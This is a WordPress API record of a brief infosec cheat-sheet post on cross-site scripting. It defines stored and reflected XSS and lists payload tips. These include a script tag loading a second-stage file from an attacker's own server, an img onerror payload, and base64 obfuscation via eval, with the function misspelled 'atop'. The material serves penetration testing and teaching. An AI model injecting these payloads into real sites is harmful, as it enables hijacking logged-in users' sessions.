{"id":3911,"date":"2024-06-10T09:52:09","date_gmt":"2024-06-10T07:52:09","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=3911"},"modified":"2026-05-26T15:14:56","modified_gmt":"2026-05-26T13:14:56","slug":"xss-cross-site-scripting-attacks","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=3911","title":{"rendered":"<span class=\"caps\">XSS<\/span> Cross-site-scripting attacks"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Short: A user opens a link (e.g. from a phish\u00ading email) which has a injec\u00adtion in the <span class=\"caps\">URL<\/span> which is then exe\u00adcut\u00aded on the site as long as the user is logged in.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=1483\" data-type=\"post\" data-id=\"1483\">See also com\u00admand injec\u00adtions&nbsp;post.<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Class\u00ades:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Stored <span class=\"caps\">XSS<\/span>: An injec\u00adtion is stored on the serv\u00ader and served to (all)&nbsp;users.<\/li>\n\n\n\n<li>Reflect\u00aded <span class=\"caps\">XSS<\/span>: An injec\u00adtion is giv\u00aden in the request, e.g. in a parameter.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Tip:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use a sec\u00adond stage to load a more sophis\u00adti\u00adcat\u00aded <span class=\"caps\">JS<\/span> instead of inject\u00ading the code right away. Inject this script:<br><strong>&lt;script src=\u201chttp:\/\/$ownServer\/xss.js\u201d&gt;&lt;\/script&gt;<\/strong><\/li>\n\n\n\n<li>Should it be nest\u00aded in a pre or p tag, try this:<br><code>&lt;img src='x' onerror='alert(1)'&gt;<\/code><\/li>\n\n\n\n<li>Use the <code>atop <\/code>func\u00adtion to use base64 encod\u00aded strings as\/in pay\u00adloads.<br><code>eval(atop(\"ba....\"))<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Short: A user opens a link (e.g. from a phish\u00ading email) which has a injec\u00adtion in the <span class=\"caps\">URL<\/span> which is then exe\u00adcut\u00aded on the site as long as the user is logged in. See also com\u00admand injec\u00adtions&nbsp;post. Class\u00ades:&nbsp;Tip:<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470],"tags":[489,274,488],"class_list":["post-3911","post","type-post","status-publish","format-standard","hentry","category-active-enum","tag-cross-site-scripting","tag-injection","tag-xss"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3911","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3911"}],"version-history":[{"count":5,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3911\/revisions"}],"predecessor-version":[{"id":4952,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3911\/revisions\/4952"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3911"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3911"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}